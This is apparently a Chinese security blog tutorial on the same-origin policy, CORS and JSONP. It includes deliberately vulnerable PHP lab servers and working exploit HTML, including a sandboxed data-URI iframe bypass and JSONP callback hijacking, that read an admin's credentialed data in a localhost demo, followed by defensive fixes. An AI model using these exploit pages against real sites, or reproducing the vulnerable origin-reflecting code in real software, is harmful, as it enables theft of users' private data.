跨域漏洞

同源策略(SOP)

同源策略是一个重要的安全策略,它用于限制一个源的文档或者它加载的脚本如何能与另一个源的资源进行交互。

同源即同端口,同主机,同协议

http https 不同源 协议不同
http://a.com:8080 http://a.com:80 不同源 端口不同
http://a.com http://b.com:80 不同源 主机不同
http://a.com:80 http://a.a.com:80 不同源 子域名需要设置才可同源
http://a.com:80/a.html http://a.com:80/b.html 同源 仅文件不同

跨域

CORS

跨源资源共享CORS,或通俗地译为跨域资源共享)是一种基于 HTTP 头的机制,该机制通过允许服务器标示除了它自己以外的其他(域、协议或端口),使得浏览器允许这些源访问加载自己的资源。跨源资源共享还通过一种机制来检查服务器是否会允许要发送的真实请求,该机制通过浏览器发起一个到服务器托管的跨源资源的“预检”请求。在预检中,浏览器发送的头中标示有 HTTP 方法和真实请求中会用到的头。

预检请求

开启CORS时,对于一些不是简单请求的(如自定义header,不常用的Content-Type 等等),浏览器必须首先使用 OPTIONS 方法发起一个预检请求,从而获知服务端是否允许该跨源请求。服务器确认允许之后,才发起实际的 HTTP 请求。在预检请求的返回中,服务器端也可以通知客户端,是否需要携带身份凭证(例如 Cookie 和 HTTP 认证相关数据)。

一个demo

1
2
3
4
5
6
7
8
9
10
11
12
13
const fetchPromise = fetch("https://bar.other/doc", {
method: "POST",
mode: "cors",
headers: {
"Content-Type": "text/xml",
"X-PINGOTHER": "pingpong",
},
body: "<person><name>Arun</name></person>",
});

fetchPromise.then((response) => {
console.log(response.status);
});

在header

1
2
3
4
headers: {
"Content-Type": "text/xml",
"X-PINGOTHER": "pingpong",
}

均不符合简单请求,需要预检请求

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
OPTIONS /doc HTTP/1.1
Host: bar.other
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:71.0) Gecko/20100101 Firefox/71.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Connection: keep-alive
Origin: https://foo.example
Access-Control-Request-Method: POST //告知服务器,实际请求将使用 POST 方法
Access-Control-Request-Headers: X-PINGOTHER, Content-Type //告知服务器,实际请求将携带两个自定义请求标头字段

HTTP/1.1 204 No Content
Date: Mon, 01 Dec 2008 01:15:39 GMT
Server: Apache/2
Access-Control-Allow-Origin: https://foo.example //限制请求的源域
Access-Control-Allow-Methods: POST, GET, OPTIONS //明服务器允许客户端使用 POST 和 GET 方法发起请求
Access-Control-Allow-Headers: X-PINGOTHER, Content-Type //表明服务器允许请求中携带字段
Access-Control-Max-Age: 86400 //该预检请求可供缓存的时间长短
Vary: Accept-Encoding, Origin
Keep-Alive: timeout=2, max=100
Connection: Keep-Alive

预检请求完成之后,会发送实际请求

流程图

简单请求

若请求满足所有下述条件,则该请求可视为简单请求,简单请求不会触发预检

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
请求方法:GET POST HEAD

运行设置的header:
Accept
Accept-Language
Content-Language
Content-Type
Range简单的范围标头值 如 bytes=256- 或 bytes=127-255
Content-Type 标头所指定的媒体类型的值仅限于下列三者之一:
text/plain
multipart/form-data
application/x-www-form-urlencoded

XMLHttpRequest对象发出的请求·,在返回的 XMLHttpRequest.upload 对象属性上没有注册任何事件监听器;
也就是说,给定一个 XMLHttpRequest 实例 xhr,没有调用 xhr.upload.addEventListener(),以监听该上传请求。

请求中没有使用ReadableStream 对象。

附带身份凭证的请求

当响应的是附带身份凭证的请求时,服务端必须明确 Access-Control-Allow-Origin 的值,而不能使用通配符“*”,不然浏览器会报错

一个demo

1
2
3
4
5
6
const url = "https://bar.other/resources/credentialed-content/";

const request = new Request(url, { credentials: "include" }); //附带cookies

const fetchPromise = fetch(request);
fetchPromise.then((response) => console.log(response));

浏览器会拒绝任何不带Access-Control-Allow-Credentials: true标头的响应,且不会把响应提供给调用的网页内容。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
GET /resources/credentialed-content/ HTTP/1.1
Host: bar.other
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:71.0) Gecko/20100101 Firefox/71.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Connection: keep-alive
Referer: https://foo.example/examples/credential.html
Origin: https://foo.example
Cookie: pageAccess=2

HTTP/1.1 200 OK
Date: Mon, 01 Dec 2008 01:34:52 GMT
Server: Apache/2
Access-Control-Allow-Origin: https://foo.example //设置源域
Access-Control-Allow-Credentials: true //表示允许携带cookies
Cache-Control: no-cache
Pragma: no-cache
Set-Cookie: pageAccess=3; expires=Wed, 31-Dec-2008 01:34:53 GMT
Vary: Accept-Encoding, Origin
Content-Encoding: gzip
Content-Length: 106
Keep-Alive: timeout=2, max=100
Connection: Keep-Alive
Content-Type: text/plain

[text/plain payload]

在响应附带身份凭证的请求时:

1
2
3
服务器不能将 Access-Control-Allow-Origin 的值设为通配符“*”,而应将其设置为特定的域,如:Access-Control-Allow-Origin: https://example.com。
服务器不能将 Access-Control-Allow-Headers 的值设为通配符“*”,而应将其设置为标头名称的列表,如:Access-Control-Allow-Headers: X-PINGOTHER, Content-Type
服务器不能将 Access-Control-Allow-Methods 的值设为通配符“*”,而应将其设置为特定请求方法名称的列表,如:Access-Control-Allow-Methods: POST, GET

CORS的响应header

Access-Control-Allow-Origin

告诉浏览器允许该源访问资源

1
2
3
4
5
6
7
Access-Control-Allow-Origin: example.com   //只允许example.com
Access-Control-Allow-Origin: * //配符*,表示允许来自任意源的请求
Access-Control-Allow-Origin: null //只有来源为 null 的请求才能访问资源
null来源通常出现在以下场景:
请求来自本地文件(如 file:// 协议打开的 HTML 文件)。
请求是由沙盒化的iframe 或某些特殊环境(如浏览器扩展)发起的。
请求是通过data: URLabout:blank 或重定向生成的。

Access-Control-Expose-Headers

要访问其他头(一些最基本的响应头外),则需要服务器设置本响应头。

1
Access-Control-Expose-Headers: <header-name>[, <header-name>]*

Access-Control-Allow-Credentials

指定了当浏览器的 credentials 设置为 true 时是否允许浏览器读取 response 的内容。当用在对 preflight 预检测请求的响应中时,它指定了实际的请求是否可以使用

credentials。请注意:简单 GET 请求不会被预检;如果对此类请求的响应中不包含该字段,这个响应将被忽略掉,并且浏览器也不会将相应内容返回给网页

1
Access-Control-Allow-Credentials: true //表示请求附带cookie等凭证时,允许响应被浏览器读取

CORS漏洞

在实际的CORS漏洞利用里面,因为需运行恶意的Javascript脚本,主要配合xss、CSRF或者钓鱼利用。换句话说,CORS漏洞是在xss和钓鱼中遇到同源策略,但是CORS错误配置产生的漏洞,进而可以绕过同源策略来窃取数据或者CSRF。

Access-Control-Allow-Origin:动态

存在漏洞的响应

1
2
Access-Control-Allow-Origin: 动态  //根据请求的源来设置,比如是a请求资源那就设置为a,b请求则设置为b
Access-Control-Allow-Credentials: true

此时不管什么源请求都可以,并且可以获取携带cookie等凭证的请求的响应。

测试漏洞demo,部署在本地phpstudy,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
<?php

$user = [
'id' => 1,
'name' => 'admin',
'password' => 'password'
];

if($_SERVER['REQUEST_METHOD'] == 'GET' && isset($_GET['username']) && isset($_GET['password']) && $_GET['action'] == 'login'){
$username = $_GET['username'];
$password = $_GET['password'];

$origin = $_SERVER['HTTP_ORIGIN'];
header('Access-Control-Allow-Origin:'.$origin); //动态设置源
header('Access-Control-Allow-Credentials: true');
if($username == $user['name'] && $password == $user['password']){
// setcookie('user',$username, [
// 'expires' => time() + 3600,
// 'path' => '/',
// 'domain' => 'localhost',
// 'secure' => false,
// 'httponly' => false,
// 'samesite' => 'None'
// ]);

session_set_cookie_params([
'lifetime' => 3600,
'path' => '/',
'domain' => 'localhost', // 或您的域名
'secure' => true, // SameSite=None 要求同时设置 Secure 属性为 true
'httponly' => true, // 允许JavaScript访问
'samesite' => 'None' // 必须为None才能跨域
]);

session_start();
$_SESSION['username'] = $username;
//输出信息
echo 'login sucess ';
}else{
echo 'login fail';
}
}

if($_SERVER['REQUEST_METHOD'] == 'GET' && $_GET['action'] == 'getinfo') {
session_start();
$origin = $_SERVER['HTTP_ORIGIN'];
header('Access-Control-Allow-Origin:'.$origin); //动态设置源
header('Access-Control-Allow-Credentials: true');
if($_SESSION["username"] === 'admin'){
echo $user['id'].' '.$user['name'].' '.$user['password'].' origin: '.$origin;
}else{
echo 'hacker';
}

}

?>

exp的html放在vps

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<!DOCTYPE html>
<html>
<head>
</head>
<body>
<script>
function stealData() {
const url = "http://localhost/?action=getinfo";

var xhttp = new XMLHttpRequest();
xhttp.onreadystatechange = function() {
if(this.readyState == 4) {
if(this.status == 200) {
alert(this.responseText);
console.log(this.responseText);
} else {
alert("Failed to steal data. Status: " + this.status);
}
}
};

xhttp.open('GET', url, true);
xhttp.withCredentials = true; // 发送凭据(cookies)
xhttp.send();
}
stealData();
</script>
</body>
</html>

先在本地登录

http://localhost/index.php?action=login&username=admin&password=password

浏览器打开另一个标签页访问vps的html,模拟点击钓鱼链接,触发csrf & CORS,利用cookie来窃取admin的信息

此时发生了3次请求

查看xhr发送的请求,Access-Control-Allow-Origin被动态设置为vps的ip

Access-Control-Allow-Origin: null

1
2
Access-Control-Allow-Origin: null //不管origin是什么,都是null
Access-Control-Allow-Credentials: true

origin不是null时,被浏览器认为是不同源

1
2
3
4
null来源通常出现在以下场景:
请求来自本地文件(如 file:// 协议打开的 HTML 文件)。
请求是由沙盒化的iframe 或某些特殊环境(如浏览器扩展)发起的。
请求是通过data: URL、about:blank 或重定向生成的。

沙盒化的iframe绕过

1
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,这里写js标签"></iframe>

测试demo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
<?php

$user = [
'id' => 1,
'name' => 'admin',
'password' => 'password'
];

if($_SERVER['REQUEST_METHOD'] == 'GET' && isset($_GET['username']) && isset($_GET['password']) && $_GET['action'] == 'login'){
$username = $_GET['username'];
$password = $_GET['password'];

$origin = $_SERVER['HTTP_ORIGIN'];
header('Access-Control-Allow-Origin: null'); //设置源为null
header('Access-Control-Allow-Credentials: true');
if($username == $user['name'] && $password == $user['password']){
session_set_cookie_params([
'lifetime' => 3600,
'path' => '/',
'domain' => 'localhost', // 或您的域名
'secure' => true, // 本地测试可false,生产环境必须true
'httponly' => true, // 允许JavaScript访问
'samesite' => 'None' // 必须为None才能跨域
]);

session_start();
$_SESSION['username'] = $username;
//输出信息
echo 'login sucess ';
}else{
echo 'login fail';
}
}

if($_SERVER['REQUEST_METHOD'] == 'GET' && $_GET['action'] == 'getinfo') {
session_start();
$origin = $_SERVER['HTTP_ORIGIN'];
header('Access-Control-Allow-Origin: null'); //设置源为null
header('Access-Control-Allow-Credentials: true');
if($_SESSION["username"] === 'admin'){
echo $user['id'].' '.$user['name'].' '.$user['password'].' origin: '.$origin;
}else{
echo 'hacker';
}

}

?>

清除浏览器cookie重新登录,然后vps的html和上面的一样

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<!DOCTYPE html>
<html>
<head>
</head>
<body>
<script>
function stealData() {
const url = "http://localhost/?action=getinfo";

var xhttp = new XMLHttpRequest();
xhttp.onreadystatechange = function() {
if(this.readyState == 4) {
if(this.status == 200) {
alert(this.responseText);
console.log(this.responseText);
} else {
alert("Failed to steal data. Status: " + this.status);
}
}
};

xhttp.open('GET', url, true);
xhttp.withCredentials = true; // 发送凭据(cookies)
xhttp.send();
}
stealData();
</script>
</body>
</html>

登录后,新标签页访问vps的html

可以看到此时窃取失败,http状态码返回的是0,说明浏览器的CORS阻止了返回请求结果

抓包发现,其实请求是正常并且有正常响应的

但是CORS在浏览器层面的,所以浏览器不会返回响应,查看浏览器控制台发现报错

发现其实直接alert也是不行的,说明浏览器是禁止所有origin不是null的xhr请求的返回,而不是单纯的改响应码

修改exp的html

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<iframe sandbox="allow-scripts allow-top-navigation allow-forms allow-modals" src="data:text/html,<script>
function stealData() {
var xhttp = new XMLHttpRequest();
xhttp.onreadystatechange = function() {
alert(this.responseText);
console.log(this.responseText);
};
xhttp.open('GET', 'http://localhost/?action=getinfo', true);
xhttp.withCredentials = true; // 发送凭据(cookies)
xhttp.send();
}
stealData();
</script>"
></iframe>

成功绕过

可以看到origin为null

**Access-Control-Allow-Origin: ***

下面的响应一般不存在漏洞

1
2
3
4
5
浏览器不允许这种搭配,必须设置具体的源,不然会报错
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true

Access-Control-Allow-Origin: * //不限制源但是,不允许携带cookie 无法获取敏感数据

防御

引起CORS漏洞的大都是因为配置错误

1
2
3
4
5
6
7
8
9
10
11
12
13
Access-Control-Allow-Origin:设置白名单,只让信任源访问

慎重设置Access-Control-Allow-Credentials: true
防止携带cookie可以增强安全性,非必要不使用

使用反向代理(Same-Origin 请求):通过 Nginx/Apache 将跨域请求转为同源
# Nginx 配置示例
location /api/ {
proxy_pass http://backend-server/;
proxy_set_header Host $host;
}

CSRF Token:防止csrf

JSONP

JSONP (JSON with Padding) 是 JSON 的一种“使用模式”,可用于解决主流浏览器的跨域数据访问的问题。

如何使用JSONP

事先定义一个用于获取跨域响应数据的回调函数,并通过没有同源策略限制的script标签发起一个请求(将回调函数的名称放到这个请求的query参数里),然后服务端返回这个回调函数的执行,并将需要响应的数据放到回调函数的参数里,前端的script标签请求到这个执行的回调函数后会立马执行,于是就拿到了执行的响应数据。

优缺点

优点

它不像XMLHttpRequest对象实现的Ajax请求那样受到同源策略的限制 //利用了script标签的src属性不受同源策略影响的特性。

它的兼容性更好,在更加古老的浏览器中都可以运行,不需要XMLHttpRequest或ActiveX的支持 并且在请求完毕后可以通过调用callback的方式回传结果

缺点

它只支持GET请求而不支持 POST 等其它类型的 HTTP 请求 它只支持跨域 HTTP 请求这种情况,不能解决不同域的两个页面之间如何进行JavaScript 调用的问题

jsonp的交互流程

服务端

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
header('Content-Type: application/javascript');

// 模拟返回用户敏感数据(未验证来源)
$data = [
'username' => 'admin',
'email' => 'admin@example.com',
];

// 直接使用用户提供的 callback 参数,存在 XSS 和数据劫持风险
$callback = isset($_GET['callback']) ? $_GET['callback'] : 'callback';

// 返回 JSONP 响应
echo $callback . '(' . json_encode($data) . ');';
?>

客户端

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<!DOCTYPE html>
<html>
<head>
<script>
// 定义一个回调函数,窃取数据
function stealData(data) {
alert(JSON.stringify(data));
}
</script>
</head>
<body>
<!-- 利用 JSONP 漏洞加载数据 -->
<script src="http://localhost/jsonp.php?callback=stealData"></script>
</body>
</html>

结果

整个jsonp的交互流程

1
2
3
4
访问客户端页面
-> script的src对服务端发送请求(http://localhost/jsonp.php?callback=stealData)
-> 服务端返回数据(stealData({"username":"admin","email":"admin@example.com"});)
-> 浏览器获取到服务端的返回数据,然后调用当前页面的stealData方法,然后alert数据

漏洞

存在漏洞有几个条件

1
2
3
4
5
6
7
8
9
服务端存在jsonp:
服务端是类似echo $callback . '(' . json_encode($data) . ');';这种写法的,允许别源通过jsonp跨域请求资源的
(在检测时可以观察是否有?callback=xxx 这种get请求,jsonp只能用get,post不用看)

服务端没有设置csrf_token或者校验Referer等防止csrf和xss的防御:
jsonp要构成危害就是窃取信息一般要配合csrf或者xss,当无法窃取利用cookie时,其实无法获取敏感信息,危害不大

没有对callback的参数设置黑名单/白名单:(不是必要条件)
其实能拿到黑名单/白名单里的值的话,构造一样方法名的方法就行了

测试

部署本地

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
<?php
header('Content-Type: application/javascript');

// 模拟返回用户敏感数据(未验证来源)
$user = [
'username' => 'admin',
'email' => 'admin@example.com',
'password' => '123'
];

if($_SERVER['REQUEST_METHOD'] == 'GET' && isset($_GET['username']) && isset($_GET['password']) ){
$username = $_GET['username'];
$password = $_GET['password'];
if($username == $user['username'] && $password == $user['password']){
session_set_cookie_params([
'lifetime' => 3600,
'path' => '/',
'domain' => 'localhost', // 或您的域名
'secure' => true, // 本地测试可false,生产环境必须true
'httponly' => true, // 允许JavaScript访问
'samesite' => 'None' // 必须为None才能跨域
]);

session_start();
$_SESSION['username'] = $username;
echo 'login sucess ';
}else{
echo 'login fail';
}
}

if($_SERVER['REQUEST_METHOD'] == 'GET' && isset($_GET['callback'])) {
session_start();
$callback = $_GET['callback'];
header('Content-Type: application/javascript');
if($_SESSION["username"] === 'admin'){
echo $callback . '(' . json_encode($user) . ');';
}else{
echo 'hacker';
}

}

?>

部署在vps

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<!DOCTYPE html>
<html>
<head>
<script>
// 定义一个回调函数,窃取数据
function stealData(data) {
alert(JSON.stringify(data));
}
</script>
</head>
<body>
<!-- 利用 JSONP 漏洞加载数据 -->
<script src="http://localhost/jsonp.php?callback=stealData"></script>
</body>
</html>

先登录,然后在新标签访问vps的html(模拟点击钓鱼链接)触发csrf

可以看到发送了3个请求

看一下服务端返回的数据

浏览器接收到响应

stealData({ username: 'admin', email: 'admin@example.com', password: '123' });

会调用当前页面(也就是vps的html)的stealData方法alert数据

完整攻击链

防御

动态回调方法名

1
2
3
4
5
6
7
8
9
10
11
session_start();
if (empty($_SESSION['jsonp_token'])) {
$_SESSION['jsonp_token'] = bin2hex(random_bytes(16)); // 生成随机 Token
}

$callback = $_GET['callback'] ?? '';
if ($callback !== $_SESSION['jsonp_token']) {
die('Invalid Callback');
}

echo "$callback(" . json_encode($data) . ");";

用随机的token作为回调方法名,此时无法伪造回调方法

CSRF Token

1
2
3
4
5
6
7
8
9
session_start();
$token = $_SESSION['csrf_token'] ?? '';

if (empty($_GET['csrf_token']) || $_GET['csrf_token'] !== $token) {
die('Invalid CSRF Token');
}

$callback = $_GET['callback'] ?? 'defaultCallback';
echo "$callback(" . json_encode($data) . ");";

防止csrf,无法通过盗用cookie来访问敏感数据

其他方法

  1. 改用CORS
  2. 敏感数据不用jsonp传输

跨域漏洞
http://example.com/2025/04/18/跨域漏洞/
作者
J_0k3r
发布于
2025年4月18日
许可协议
BY J_0K3R